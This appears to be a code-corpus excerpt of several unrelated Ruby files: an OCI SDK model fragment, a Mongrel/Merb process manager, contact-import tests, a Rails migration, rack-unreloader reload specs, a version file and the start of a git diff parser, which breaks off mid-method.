Metrics/PerceivedComplexity, Layout/EmptyLines # @see the `==` method # @param [Object] other the other object to be compared def eql?(other) self == other end # rubocop:disable Metrics/AbcSize, Layout/EmptyLines # Calculates hash code according to all attributes. # @return [Fixnum] Hash code def hash [customer_shipping_address].hash end # rubocop:enable Metrics/AbcSize, Layout/EmptyLines # rubocop:disable Metrics/AbcSize, Layout/EmptyLines # Builds the object from hash # @param [Hash] attributes Model attributes in the form of hash # @return [Object] Returns the model itself def build_from_hash(attributes) return nil unless attributes.is_a?(Hash) self.class.swagger_types.each_pair do |key, type| if type =~ /^Array<(.*)>/i # check to ensure the input is an array given that the the attribute # is documented as an array but the input is not if attributes[self.class.attribute_map[key]].is_a?(Array) public_method("#{key}=").call( attributes[self.class.attribute_map[key]] .map { |v| OCI::Internal::Util.convert_to_type(Regexp.last_match(1), v) } ) end elsif !attributes[self.class.attribute_map[key]].nil? public_method("#{key}=").call( OCI::Internal::Util.convert_to_type(type, attributes[self.class.attribute_map[key]]) ) end # or else data not found in attributes(hash), not an issue as the data can be optional end self end # rubocop:enable Metrics/AbcSize, Layout/EmptyLines # Returns the string representation of the object # @return [String] String presentation of the object def to_s to_hash.to_s end # Returns the object in the form of hash # @return [Hash] Returns the object in the form of hash def to_hash hash = {} self.class.attribute_map.each_pair do |attr, param| value = public_method(attr).call next if value.nil? && !instance_variable_defined?("@#{attr}") hash[param] = _to_hash(value) end hash end private # Outputs non-array value in the form of hash # For object, use to_hash. Otherwise, just return the value # @param [Object] value Any valid value # @return [Hash] Returns the value in the form of hash def _to_hash(value) if value.is_a?(Array) value.compact.map { |v| _to_hash(v) } elsif value.is_a?(Hash) {}.tap do |hash| value.each { |k, v| hash[k] = _to_hash(v) } end elsif value.respond_to? :to_hash value.to_hash else value end end end end # rubocop:enable Lint/UnneededCopDisableDirective, Metrics/LineLength
35.54902
189
0.686339
ed34430daae193902b2ca280d8c6821b94d871dd
2,955
require 'yaml' class Herd attr_reader :project, :extra_mongrel_options def initialize(project=nil,extra_mongrel_options=nil) @project = project @extra_mongrel_options = extra_mongrel_options end def init proj = config[project] ||= {} proj['rails_dirs'] ||= [] proj['merbs'] ||= [] proj['mongrel_options'] ||= [] File.open(config_file, 'wb') {|f| f.write(config.to_yaml)} end def list config.each do |project_name, options| puts project_name for type in %w[rails_dirs merbs] if options[type] puts ' %s: %i' % [type,options[type].size] for project_dir in options[type] puts ' - %s' % project_dir end end end if options['mongrel_options'].kind_of?(Array) and options['mongrel_options'].size > 0 puts ' mongrel_options: %s' % options['mongrel_options'].join(' ') end end end def start check_project check_rails_dirs all_mongrels 'start' all_merbs 'start' end def stop check_project all_mongrels 'stop' all_merbs 'stop' end def restart check_project all_mongrels 'restart' all_merbs 'stop' all_merbs 'start' end private def all_merbs(action) merbs.each do |merb_options| merb(merb_options, action) end end def all_mongrels(cmd) rails_dirs.each do |dir| mongrel(dir, cmd) end end def check_project return unless project_config == {} puts "No project specified for '%s'. To initialize this project, run:" % project puts " herd init %s" % project exit end def check_rails_dirs raise "No rails directories defined for this project" if rails_dirs.size == 0 end def config @config ||= YAML.load_file(config_file) rescue SystemCallError => e return @config ||= {} end def config_file File.expand_path("~/.herd.yml") end def mongrel(dir, cmd) merged_mongrel_options = (mongrel_options + extra_mongrel_options).uniq sh(('cd %s' % dir), ('mongrel_rails cluster::%s %s' % [cmd, merged_mongrel_options.join(' ')])) end def merb(options, action) if action == 'start' merb_options = '-d' options.each do |key, value| case key when 'port' merb_options << ' -p %s' % value when 'env' merb_options << ' -e %s' % value end end else merb_options = '-k all' end sh( 'cd %s' % options['dir'], 'merb %s' % merb_options ) end def merbs @merbs ||= (project_config['merbs'] || []) end def mongrel_options @mongrel_options ||= (project_config['mongrel_options'] || []) end def project_config @project_config ||= (config[project] || {}) end def rails_dirs @rails_dirs ||= (project_config['rails_dirs'] || []) end def sh(*cmds) printf "# %s\n" % cmds.join(" && \n# ") system cmds.join(" && ") end end
21.569343
99
0.60643
aca3df8ca31781411d2b811ead052146d826d488
3,311
require 'minitest/autorun' require 'test_helper' require 'contact_sport' class OutlookReaderTest < MiniTest::Unit::TestCase def test_iso_8859_1_commas contacts = ContactSport.contacts fixture('iso_8859_1_commas.csv') assert_equal 3, contacts.length contact = contacts.shift assert_equal 'Bruce', contact.first_name assert_equal 'Wayne', contact.last_name assert_equal 'Bruce Wayne', contact.name assert_equal '[email protected]', contact.email assert_equal 'http://example.com', contact.url assert_equal '020 7123 4567', contact.office_phone assert_equal '07979 797 979', contact.mobile_phone assert_equal '020 7123 4560', contact.fax assert_equal 'Wayne Enterprises', contact.company assert_equal '1st Floor', contact.address1 assert_equal '1 High Street', contact.address2 assert_equal 'London', contact.city assert_equal 'Middlesex', contact.region assert_equal 'W1 1AB', contact.postcode assert_equal 'United Kingdom', contact.country contact = contacts.shift assert_equal 'James Bond', contact.name contact = contacts.shift assert_equal 'Clarke Kent', contact.name end def test_utf_16_le_tabs contacts = ContactSport.contacts fixture('utf_16_le_tabs.csv') assert_equal 6, contacts.length contact = contacts.shift assert_equal 'Andrew', contact.first_name assert_equal 'Stewart', contact.last_name assert_equal 'Andrew Stewart', contact.name assert_equal '[email protected]', contact.email assert_equal 'http://www.mcdonalds.com/staff/Andrew', contact.url assert_equal '4420812345', contact.office_phone assert_equal '49123456789', contact.mobile_phone assert_equal '', contact.fax assert_equal 'McDonalds Corporation', contact.company assert_equal '1 Leicester Square', contact.address1 assert_equal '', contact.address2 assert_equal 'London', contact.city assert_equal '', contact.region assert_equal 'WC1A 1AA', contact.postcode assert_equal '', contact.country contact = contacts.pop assert_equal '', contact.first_name assert_equal '', contact.last_name assert_equal '', contact.name assert_equal '[email protected]', contact.email assert_equal 'http://www.mcdonalds.com', contact.url assert_equal '', contact.office_phone assert_equal '', contact.mobile_phone assert_equal '800234567', contact.fax assert_equal 'McDonalds Corporation', contact.company assert_equal '1 Canary Wharf', contact.address1 assert_equal '', contact.address2 assert_equal 'London', contact.city assert_equal 'E1 1AA', contact.region # data-entry mistake assert_equal '', contact.postcode # data-entry mistake assert_equal '', contact.country end end
44.146667
80
0.623075
6a7a47a9cfc1c64a85665a35086a45837cc90830
691
class AddPaypalToEventConfigurations < ActiveRecord::Migration class EventConfiguration < ActiveRecord::Base end def up add_column :event_configurations, :paypal_account, :string add_column :event_configurations, :paypal_test, :boolean, default: true, null: false EventConfiguration.reset_column_information ec = EventConfiguration.first ec.update_attributes(paypal_account: Rails.application.secrets.paypal_account, paypal_test: Rails.application.secrets.fetch(:paypal_test, false)) if ec.present? end def down remove_column :event_configurations, :paypal_account remove_column :event_configurations, :paypal_test end end
34.55
106
0.768452
87b78b12f9935519fcb5a02afa036ea748957f6d
566
class CasaCaseContactType < ApplicationRecord belongs_to :casa_case belongs_to :contact_type end # == Schema Information # # Table name: casa_case_contact_types # # id :bigint not null, primary key # created_at :datetime not null # updated_at :datetime not null # casa_case_id :bigint not null # contact_type_id :bigint not null # # Indexes # # index_casa_case_contact_types_on_casa_case_id (casa_case_id) # index_casa_case_contact_types_on_contact_type_id (contact_type_id) #
26.952381
70
0.687279
6a4baf05d1663f8b27cb0614f5ffa6b58edc3684
23,288
require File.join(File.dirname(File.expand_path(__FILE__)), 'spec_helper') describe Rack::Unreloader do it "should not reload files automatically if cooldown option is nil" do ru(:cooldown => nil).call({}).must_equal [1] update_app(code(2)) ru.call({}).must_equal [1] @ru.reload! ru.call({}).must_equal [2] end it "should not setup a reloader if reload option is false" do @filename = 'spec/app_no_reload.rb' ru(:reload => false).call({}).must_equal [1] file = 'spec/app_no_reload2.rb' File.open(file, 'wb'){|f| f.write('ANR2 = 2')} ru.require 'spec/app_no_*2.rb' ANR2.must_equal 2 end it "should unload constants contained in file and reload file if file changes" do ru.call({}).must_equal [1] update_app(code(2)) ru.call({}).must_equal [2] log_match %r{\ALoading.*spec/app\.rb\z}, %r{\ANew classes in .*spec/app\.rb: App\z}, %r{\AUnloading.*spec/app\.rb\z}, "Removed constant App", %r{\ALoading.*spec/app\.rb\z}, %r{\ANew classes in .*spec/app\.rb: App\z} end it "should stop monitoring file for changes if it is deleted constants contained in file and reload file if file changes" do ru.call({}).must_equal [1] file_delete('spec/app.rb') proc{ru.call({})}.must_raise NameError log_match %r{\ALoading.*spec/app\.rb\z}, %r{\ANew classes in .*spec/app\.rb: App\z}, %r{\AUnloading.*spec/app\.rb\z}, "Removed constant App" end it "should check constants using ObjectSpace if require proc returns :ObjectSpace" do base_ru update_app(code(1)) @ru.require(@filename){|f| :ObjectSpace} ru.call({}).must_equal [1] update_app(code(2)) ru.call({}).must_equal [2] log_match %r{\ALoading.*spec/app\.rb\z}, %r{\ANew classes in .*spec/app\.rb: App\z}, %r{\AUnloading.*spec/app\.rb\z}, "Removed constant App", %r{\ALoading.*spec/app\.rb\z}, %r{\ANew classes in .*spec/app\.rb: App\z} end it "should pickup files added as dependencies" do ru.call({}).must_equal [1] update_app("RU.require 'spec/app2.rb'; class App; def self.call(env) [@a, App2.call(env)] end; @a ||= []; @a << 2; end") update_app("class App2; def self.call(env) @a end; @a ||= []; @a << 3; end", 'spec/app2.rb') ru.call({}).must_equal [[2], [3]] update_app("class App2; def self.call(env) @a end; @a ||= []; @a << 4; end", 'spec/app2.rb') ru.call({}).must_equal [[2], [4]] log_match %r{\ALoading.*spec/app\.rb\z}, %r{\ANew classes in .*spec/app\.rb: App\z}, %r{\AUnloading.*spec/app\.rb\z}, "Removed constant App", %r{\ALoading.*spec/app\.rb\z}, %r{\ALoading.*spec/app2\.rb\z}, %r{\ANew classes in .*spec/app2\.rb: App2\z}, %r{\ANew classes in .*spec/app\.rb: (App App2|App2 App)\z}, %r{\ANew features in .*spec/app\.rb: .*spec/app2\.rb\z}, %r{\AUnloading.*spec/app2\.rb\z}, "Removed constant App2", %r{\ALoading.*spec/app2\.rb\z}, %r{\ANew classes in .*spec/app2\.rb: App2\z} end it "should support :subclasses option and only unload subclasses of given class" do ru(:subclasses=>'App').call({}).must_equal [1] update_app("RU.require 'spec/app2.rb'; class App; def self.call(env) [@a, App2.call(env)] end; @a ||= []; @a << 2; end") update_app("class App2 < App; def self.call(env) @a end; @a ||= []; @a << 3; end", 'spec/app2.rb') ru.call({}).must_equal [[1, 2], [3]] update_app("class App2 < App; def self.call(env) @a end; @a ||= []; @a << 4; end", 'spec/app2.rb') ru.call({}).must_equal [[1, 2], [4]] update_app("RU.require 'spec/app2.rb'; class App; def self.call(env) [@a, App2.call(env)] end; @a ||= []; @a << 2; end") log_match %r{\ALoading.*spec/app\.rb\z}, %r{\AUnloading.*spec/app\.rb\z}, %r{\ALoading.*spec/app\.rb\z}, %r{\ALoading.*spec/app2\.rb\z}, %r{\ANew classes in .*spec/app2\.rb: App2\z}, %r{\ANew classes in .*spec/app\.rb: App2\z}, %r{\ANew features in .*spec/app\.rb: .*spec/app2\.rb\z}, %r{\AUnloading.*spec/app2\.rb\z}, "Removed constant App2", %r{\ALoading.*spec/app2\.rb\z}, %r{\ANew classes in .*spec/app2\.rb: App2\z} end it "should log invalid constant names in :subclasses options" do ru(:subclasses=>%w'1 Object').call({}).must_equal [1] logger.uniq! log_match 'Invalid constant name: 1', %r{\ALoading.*spec/app\.rb\z}, %r{\ANew classes in .*spec/app\.rb: App\z} end it "should unload modules before reloading similar to classes" do ru(:code=>"module App; def self.call(env) @a end; @a ||= []; @a << 1; end").call({}).must_equal [1] update_app("module App; def self.call(env) @a end; @a ||= []; @a << 2; end") ru.call({}).must_equal [2] log_match %r{\ALoading.*spec/app\.rb\z}, %r{\ANew classes in .*spec/app\.rb: App\z}, %r{\AUnloading.*spec/app\.rb\z}, "Removed constant App", %r{\ALoading.*spec/app\.rb\z}, %r{\ANew classes in .*spec/app\.rb: App\z} end it "should unload specific modules by name via :subclasses option" do ru(:subclasses=>'App', :code=>"module App; def self.call(env) @a end; @a ||= []; @a << 1; end").call({}).must_equal [1] update_app("module App; def self.call(env) @a end; @a ||= []; @a << 2; end") ru.call({}).must_equal [2] log_match %r{\ALoading.*spec/app\.rb\z}, %r{\ANew classes in .*spec/app\.rb: App\z}, %r{\AUnloading.*spec/app\.rb\z}, "Removed constant App", %r{\ALoading.*spec/app\.rb\z}, %r{\ANew classes in .*spec/app\.rb: App\z} end it "should not unload modules by name if :subclasses option used and module not present" do ru(:subclasses=>'Foo', :code=>"module App; def self.call(env) @a end; class << self; alias call call; end; @a ||= []; @a << 1; end").call({}).must_equal [1] update_app("module App; def self.call(env) @a end; @a ||= []; @a << 2; end") ru.call({}).must_equal [1, 2] log_match %r{\ALoading.*spec/app\.rb\z}, %r{\AUnloading.*spec/app\.rb\z}, %r{\ALoading.*spec/app\.rb\z} end it "should unload partially loaded modules if loading fails, and allow future loading" do ru.call({}).must_equal [1] update_app("module App; def self.call(env) @a end; @a ||= []; raise 'foo'; end") proc{ru.call({})}.must_raise RuntimeError defined?(::App).must_be_nil update_app(code(2)) ru.call({}).must_equal [2] log_match %r{\ALoading.*spec/app\.rb\z}, %r{\ANew classes in .*spec/app\.rb: App\z}, %r{\AUnloading.*spec/app\.rb\z}, "Removed constant App", %r{\ALoading.*spec/app\.rb\z}, %r{\AFailed to load .*spec/app\.rb; removing partially defined constants\z}, "Removed constant App", %r{\ALoading.*spec/app\.rb\z}, %r{\ANew classes in .*spec/app\.rb: App\z} end it "should support :handle_reload_errors option to return backtrace if there is an error reloading" do ru(:handle_reload_errors=>true).call({}).must_equal [1] update_app("module App; def self.call(env) @a end; @a ||= []; raise 'foo'; end") rack_response = ru.call({}) rack_response[0].must_equal 500 rack_response[1]['Content-Type'].must_equal 'text/plain' rack_response[1]['Content-Length'].must_match(rack_response[2][0].bytesize.to_s) rack_response[2][0].must_match(/\/spec\/app\.rb:1/) defined?(::App).must_be_nil update_app(code(2)) ru.call({}).must_equal [2] log_match %r{\ALoading.*spec/app\.rb\z}, %r{\ANew classes in .*spec/app\.rb: App\z}, %r{\AUnloading.*spec/app\.rb\z}, "Removed constant App", %r{\ALoading.*spec/app\.rb\z}, %r{\AFailed to load .*spec/app\.rb; removing partially defined constants\z}, "Removed constant App", %r{\ALoading.*spec/app\.rb\z}, %r{\ANew classes in .*spec/app\.rb: App\z} end it "should unload classes in namespaces" do ru(:code=>"class Array::App; def self.call(env) @a end; @a ||= []; @a << 1; end", :block=>proc{Array::App}).call({}).must_equal [1] update_app("class Array::App; def self.call(env) @a end; @a ||= []; @a << 2; end") ru.call({}).must_equal [2] log_match %r{\ALoading.*spec/app\.rb\z}, %r{\ANew classes in .*spec/app\.rb: Array::App\z}, %r{\AUnloading.*spec/app\.rb\z}, "Removed constant Array::App", %r{\ALoading.*spec/app\.rb\z}, %r{\ANew classes in .*spec/app\.rb: Array::App\z} end it "should not unload class defined in dependency if already defined in parent" do base_ru update_app("class App; def self.call(env) @a end; @a ||= []; @a << 2; RU.require 'spec/app2.rb'; end") update_app("class App; @a << 3 end", 'spec/app2.rb') @ru.require 'spec/app.rb' ru.call({}).must_equal [2, 3] update_app("class App; @a << 4 end", 'spec/app2.rb') ru.call({}).must_equal [2, 3, 4] update_app("class App; def self.call(env) @a end; @a ||= []; @a << 2; RU.require 'spec/app2.rb'; end") ru.call({}).must_equal [2, 4] log_match %r{\ALoading.*spec/app\.rb\z}, %r{\ALoading.*spec/app2\.rb\z}, %r{\ANew classes in .*spec/app\.rb: App\z}, %r{\ANew features in .*spec/app\.rb: .*spec/app2\.rb\z}, %r{\AUnloading.*spec/app2\.rb\z}, %r{\ALoading.*spec/app2\.rb\z}, %r{\AUnloading.*spec/app\.rb\z}, %r{\AUnloading.*spec/app2\.rb\z}, "Removed constant App", %r{\ALoading.*spec/app\.rb\z}, %r{\ALoading.*spec/app2\.rb\z}, %r{\ANew classes in .*spec/app\.rb: App\z}, %r{\ANew features in .*spec/app\.rb: .*spec/app2\.rb\z} end it "should allow specifying proc for which constants get removed" do base_ru update_app("class App; def self.call(env) [@a, App2.a] end; class << self; alias call call; end; @a ||= []; @a << 1; end; class App2; def self.a; @a end; class << self; alias a a; end; @a ||= []; @a << 2; end") @ru.require('spec/app.rb'){|f| File.basename(f).sub(/\.rb/, '').capitalize} ru.call({}).must_equal [[1], [2]] update_app("class App; def self.call(env) [@a, App2.a] end; @a ||= []; @a << 3; end; class App2; def self.a; @a end; @a ||= []; @a << 4; end") ru.call({}).must_equal [[3], [2, 4]] log_match %r{\ALoading.*spec/app\.rb\z}, %r{\ANew classes in .*spec/app\.rb: App\z}, %r{\AUnloading.*spec/app\.rb\z}, "Removed constant App", %r{\ALoading.*spec/app\.rb\z}, %r{\ANew classes in .*spec/app\.rb: App\z} end it "should handle anonymous classes" do base_ru(:block=>proc{$app}) update_app("$app = Class.new do def self.call(env) @a end; @a ||= []; @a << 1; end") @ru.require('spec/app.rb') ru.call({}).must_equal [1] update_app("$app = Class.new do def self.call(env) @a end; @a ||= []; @a << 2; end") ru.call({}).must_equal [2] log_match %r{\ALoading.*spec/app\.rb\z}, %r{\AUnloading.*spec/app\.rb\z}, %r{\ALoading.*spec/app\.rb\z} end it "should log when attempting to remove a class that doesn't exist" do base_ru update_app(code(1)) @ru.require('spec/app.rb'){|f| 'Foo'} ru.call({}).must_equal [1] update_app(code(2)) ru.call({}).must_equal [1, 2] log_match %r{\ALoading.*spec/app\.rb\z}, %r{\AConstants not defined after loading .*spec/app\.rb: Foo\z}, %r{\AUnloading.*spec/app\.rb\z}, "Error removing constant: Foo", %r{\ALoading.*spec/app\.rb\z}, %r{\AConstants not defined after loading .*spec/app\.rb: Foo\z} end it "should log when specifying a constant that already exists" do base_ru update_app(code(1)) ::App2 = 1 @ru.require('spec/app.rb'){|f| 'App2'} ru.call({}).must_equal [1] log_match %r{\AConstants already defined before loading .*spec/app\.rb: App2\z}, %r{\ALoading.*spec/app\.rb\z}, %r{\ANew classes in .*spec/app\.rb: App2\z} end it "should handle recorded dependencies" do base_ru update_app("module A; B = 1; end", 'spec/app_mod.rb') update_app("class App; A = ::A; def self.call(env) A::B end; end") ru.require 'spec/app_mod.rb' ru.require 'spec/app.rb' ru.record_dependency 'spec/app_mod.rb', 'spec/app.rb' ru.call({}).must_equal 1 update_app("module A; B = 2; end", 'spec/app_mod.rb') ru.call({}).must_equal 2 update_app("module A; include C; end", 'spec/app_mod.rb') update_app("module C; B = 3; end", 'spec/app_mod2.rb') ru.record_dependency 'spec/app_mod2.rb', 'spec/app_mod.rb' ru.require 'spec/app_mod2.rb' ru.call({}).must_equal 3 update_app("module C; B = 4; end", 'spec/app_mod2.rb') ru.call({}).must_equal 4 end it "should handle modules where name raises an exception" do m = Module.new{def self.name; raise end} ru(:code=>"module App; def self.call(env) @a end; @a ||= []; @a << 1; end").call({}).must_equal [1] update_app("module App; def self.call(env) @a end; @a ||= []; @a << 2; end") ru.call({}).must_equal [2] log_match %r{\ALoading.*spec/app\.rb\z}, %r{\ANew classes in .*spec/app\.rb: App\z}, %r{\AUnloading.*spec/app\.rb\z}, "Removed constant App", %r{\ALoading.*spec/app\.rb\z}, %r{\ANew classes in .*spec/app\.rb: App\z} m end describe "with a directory" do include Minitest::Hooks before(:all) do Dir.mkdir('spec/dir') Dir.mkdir('spec/dir/subdir') Dir.mkdir('spec/dir/subdir2') end after do Dir['spec/dir/**/*.rb'].each{|f| file_delete(f)} end after(:all) do Dir.rmdir('spec/dir/subdir') Dir.rmdir('spec/dir/subdir2') Dir.rmdir('spec/dir') end it "should have unreloader require with directories if reload option is false" do file = 'spec/dir/app_no_reload3.rb' File.open(file, 'wb'){|f| f.write('ANR3 = 3')} base_ru(:reload => false) ru.require 'spec/dir' ANR3.must_equal 3 end it "should handle recorded dependencies in directories" do base_ru update_app("module A; B = 1; end", 'spec/dir/subdir/app_mod.rb') update_app("class App; A = ::A; def self.call(env) A::B end; end") ru.require 'spec/dir/subdir' ru.require 'spec/app.rb' ru.record_dependency 'spec/dir/subdir', 'spec/app.rb' ru.call({}).must_equal 1 update_app("module A; B = 2; end", 'spec/dir/subdir/app_mod.rb') ru.call({}).must_equal 2 update_app("module A; include C; end", 'spec/dir/subdir/app_mod.rb') update_app("module C; B = 3; end", 'spec/dir/subdir2/app_mod2.rb') ru.require 'spec/dir/subdir2/app_mod2.rb' ru.record_dependency 'spec/dir/subdir2/app_mod2.rb', 'spec/dir/subdir' ru.call({}).must_equal 3 update_app("module C; B = 4; end", 'spec/dir/subdir2/app_mod2.rb') ru.call({}).must_equal 4 end it "should handle recorded dependencies in directories when files are added or removed later" do base_ru update_app("class App; A = defined?(::A) ? ::A : Module.new{self::B = 0}; def self.call(env) A::B end; end") ru.record_dependency 'spec/dir/subdir', 'spec/app.rb' ru.record_dependency 'spec/dir/subdir2', 'spec/dir/subdir' ru.require 'spec/app.rb' ru.require 'spec/dir/subdir' ru.require 'spec/dir/subdir2' ru.call({}).must_equal 0 update_app("module A; B = 1; end", 'spec/dir/subdir/app_mod.rb') ru.call({}).must_equal 1 update_app("module A; B = 2; end", 'spec/dir/subdir/app_mod.rb') ru.call({}).must_equal 2 update_app("module C; B = 3; end", 'spec/dir/subdir2/app_mod2.rb') ru.call({}).must_equal 2 update_app("module A; include C; end", 'spec/dir/subdir/app_mod.rb') ru.call({}).must_equal 3 update_app("module C; B = 4; end", 'spec/dir/subdir2/app_mod2.rb') ru.call({}).must_equal 4 file_delete 'spec/dir/subdir/app_mod.rb' ru.call({}).must_equal 0 end it "should handle classes split into multiple files" do base_ru update_app("class App; RU.require('spec/dir'); def self.call(env) \"\#{a if respond_to?(:a)}\#{b if respond_to?(:b)}1\".to_i end; end") ru.require 'spec/app.rb' ru.record_split_class 'spec/app.rb', 'spec/dir' ru.call({}).must_equal 1 update_app("class App; def self.a; 2 end end", 'spec/dir/appa.rb') ru.call({}).must_equal 21 update_app("class App; def self.a; 3 end end", 'spec/dir/appa.rb') ru.call({}).must_equal 31 update_app("class App; def self.b; 4 end end", 'spec/dir/appb.rb') ru.call({}).must_equal 341 update_app("class App; def self.a; 5 end end", 'spec/dir/appa.rb') update_app("class App; def self.b; 6 end end", 'spec/dir/appb.rb') ru.call({}).must_equal 561 update_app("class App; end", 'spec/dir/appa.rb') ru.call({}).must_equal 61 file_delete 'spec/dir/appb.rb' ru.call({}).must_equal 1 end it "should pick up changes to files in that directory" do base_ru update_app("class App; @a = {}; def self.call(env=nil) @a end; end; RU.require 'spec/dir'") update_app("App.call[:foo] = 1", 'spec/dir/a.rb') @ru.require('spec/app.rb') ru.call({}).must_equal(:foo=>1) update_app("App.call[:foo] = 2", 'spec/dir/a.rb') ru.call({}).must_equal(:foo=>2) log_match %r{\ALoading.*spec/app\.rb\z}, %r{\ALoading.*spec/dir/a\.rb\z}, %r{\ANew classes in .*spec/app\.rb: App\z}, %r{\ANew features in .*spec/app\.rb: .*spec/dir/a\.rb\z}, %r{\AUnloading .*/spec/dir/a.rb\z}, %r{\ALoading .*/spec/dir/a.rb\z} end it "should pick up changes to files in subdirectories" do base_ru update_app("class App; @a = {}; def self.call(env=nil) @a end; end; RU.require 'spec/dir'") update_app("App.call[:foo] = 1", 'spec/dir/subdir/a.rb') @ru.require('spec/app.rb') ru.call({}).must_equal(:foo=>1) update_app("App.call[:foo] = 2", 'spec/dir/subdir/a.rb') ru.call({}).must_equal(:foo=>2) log_match %r{\ALoading.*spec/app\.rb\z}, %r{\ALoading.*spec/dir/subdir/a\.rb\z}, %r{\ANew classes in .*spec/app\.rb: App\z}, %r{\ANew features in .*spec/app\.rb: .*spec/dir/subdir/a\.rb\z}, %r{\AUnloading .*/spec/dir/subdir/a.rb\z}, %r{\ALoading .*/spec/dir/subdir/a.rb\z} end it "should pick up new files added to the directory" do base_ru update_app("class App; @a = {}; def self.call(env=nil) @a end; end; RU.require 'spec/dir'") @ru.require('spec/app.rb') ru.call({}).must_equal({}) update_app("App.call[:foo] = 2", 'spec/dir/a.rb') ru.call({}).must_equal(:foo=>2) log_match %r{\ALoading.*spec/app\.rb\z}, %r{\ANew classes in .*spec/app\.rb: App\z}, %r{\ALoading.*spec/dir/a\.rb\z} end it "should pick up new files added to subdirectories" do base_ru update_app("class App; @a = {}; def self.call(env=nil) @a end; end; RU.require 'spec/dir'") @ru.require('spec/app.rb') ru.call({}).must_equal({}) update_app("App.call[:foo] = 2", 'spec/dir/subdir/a.rb') ru.call({}).must_equal(:foo=>2) log_match %r{\ALoading.*spec/app\.rb\z}, %r{\ANew classes in .*spec/app\.rb: App\z}, %r{\ALoading.*spec/dir/subdir/a\.rb\z} end it "should drop files deleted from the directory" do base_ru update_app("class App; @a = {}; def self.call(env=nil) @a end; end; RU.require 'spec/dir'") update_app("App.call[:foo] = 1", 'spec/dir/a.rb') @ru.require('spec/app.rb') ru.call({}).must_equal(:foo=>1) file_delete('spec/dir/a.rb') update_app("App.call[:foo] = 2", 'spec/dir/b.rb') ru.call({}).must_equal(:foo=>2) log_match %r{\ALoading.*spec/app\.rb\z}, %r{\ALoading.*spec/dir/a\.rb\z}, %r{\ANew classes in .*spec/app\.rb: App\z}, %r{\ANew features in .*spec/app\.rb: .*spec/dir/a\.rb\z}, %r{\AUnloading .*/spec/dir/a.rb\z}, %r{\ALoading.*spec/dir/b\.rb\z} end it "should drop files deleted from subdirectories" do base_ru update_app("class App; @a = {}; def self.call(env=nil) @a end; end; RU.require 'spec/dir'") update_app("App.call[:foo] = 1", 'spec/dir/subdir/a.rb') @ru.require('spec/app.rb') ru.call({}).must_equal(:foo=>1) file_delete('spec/dir/subdir/a.rb') update_app("App.call[:foo] = 2", 'spec/dir/subdir/b.rb') ru.call({}).must_equal(:foo=>2) log_match %r{\ALoading.*spec/app\.rb\z}, %r{\ALoading.*spec/dir/subdir/a\.rb\z}, %r{\ANew classes in .*spec/app\.rb: App\z}, %r{\ANew features in .*spec/app\.rb: .*spec/dir/subdir/a\.rb\z}, %r{\AUnloading .*/spec/dir/subdir/a.rb\z}, %r{\ALoading.*spec/dir/subdir/b\.rb\z} end it "should call hook when dropping files deleted from the directory" do base_ru deletes = [] Object.const_set(:Deletes, deletes) update_app("class App; @a = {}; def self.call(env=nil) @a end; end; RU.require('spec/dir', :delete_hook=>proc{|f| Deletes << f})") update_app("App.call[:foo] = 1", 'spec/dir/a.rb') @ru.require('spec/app.rb', :delete_hook=>proc{|f| deletes << f}) ru.call({}).must_equal(:foo=>1) file_delete('spec/dir/a.rb') update_app("App.call[:foo] = 2", 'spec/dir/b.rb') ru.call({}).must_equal(:foo=>2) deletes.must_equal [File.expand_path('spec/dir/a.rb')] file_delete('spec/dir/b.rb') ru.call({}).must_equal(:foo=>2) deletes.must_equal [File.expand_path('spec/dir/a.rb'), File.expand_path('spec/dir/b.rb')] file_delete('spec/app.rb') proc{ru.call({})}.must_raise NameError deletes.must_equal [File.expand_path('spec/dir/a.rb'), File.expand_path('spec/dir/b.rb'), File.expand_path('spec/app.rb')] log_match %r{\ALoading.*spec/app\.rb\z}, %r{\ALoading.*spec/dir/a\.rb\z}, %r{\ANew classes in .*spec/app\.rb: App\z}, %r{\ANew features in .*spec/app\.rb: .*spec/dir/a\.rb\z}, %r{\AUnloading .*/spec/dir/a.rb\z}, %r{\ALoading.*spec/dir/b\.rb\z}, %r{\AUnloading .*/spec/dir/b.rb\z}, %r{\AUnloading .*/spec/app.rb\z}, %r{\ARemoved constant App\z} Object.send(:remove_const, :Deletes) end end end
45.131783
214
0.569005
79e73ca868bdc82691e0ea6e0093346acdc94aef
777
# frozen_string_literal: true # the version, following semver # # Someone wanted to have documentation, so here goes... # # Please note that the version-string is not frozen. Although it of course is, # because all strings in this file are frozen. That's what the magic comment # at the top of the file does. :gasp: # # What else? Yeah, the VERSION-constant is part of the module Ptimelog because # that is what is described here. # # So, I truly hope you are happy now, that I documented this file properly. For # any remaining questions, please open an issue or even better a pull-request # with an improvement. Keep in mind that this is also covered by rspec so I # expect (pun intended) 100% test-coverage for any additional code. module Ptimelog VERSION = '0.11.0' end
37
79
0.752896
01bf3255a77dead1bd17da17b99b4098b55d71b1
3,914
module GitDiffParser # Parsed patch class Patch RANGE_INFORMATION_LINE = /^@@ .+\+(?<line_number>\d+),/ MODIFIED_LINE = /^\+(?!\+|\+)/ REMOVED_LINE = /^[-]/ NOT_REMOVED_LINE = /^[^-]/ NO_NEWLINE_MESSAGE = /^\\ No newline at end of file$/ attr_accessor :file, :body, :secure_hash # @!attribute [rw] file # @return [String, nil] file path or nil # @!attribute [rw] body # @return [String, nil] patch section in `git diff` or nil # @see #initialize # @!attribute [rw] secure_hash # @return [String, nil] target sha1 hash or nil # @param body [String] patch section in `git diff`. # GitHub's pull request file's patch. # GitHub's commit file's patch. # # <<-BODY # @@ -11,7 +11,7 @@ def valid? # # def run # api.create_pending_status(*api_params, 'Hound is working...') # - @style_guide.check(pull_request_additions) # + @style_guide.check(api.pull_request_files(@pull_request)) # build = repo.builds.create!(violations: @style_guide.violations) # update_api_status(build) # end # @@ -19,6 +19,7 @@ def run # private # # def update_api_status(build = nil) # + # might not need this after using Rubocop and fetching individual files. # sleep 1 # if @style_guide.violations.any? # api.create_failure_status(*api_params, 'Hound does not approve', build_url(build)) # BODY # # @param options [Hash] options # @option options [String] :file file path # @option options [String] 'file' file path # @option options [String] :secure_hash target sha1 hash # @option options [String] 'secure_hash' target sha1 hash # # @see https://developer.github.com/v3/repos/commits/#get-a-single-commit # @see https://developer.github.com/v3/pulls/#list-pull-requests-files def initialize(body, options = {}) @body = body || '' @file = options[:file] || options['file'] if options[:file] || options['file'] @secure_hash = options[:secure_hash] || options['secure_hash'] if options[:secure_hash] || options['secure_hash'] end # @return [Array<Line>] changed lines def changed_lines line_number = 0 lines.each_with_index.inject([]) do |lines, (content, patch_position)| case content when RANGE_INFORMATION_LINE line_number = 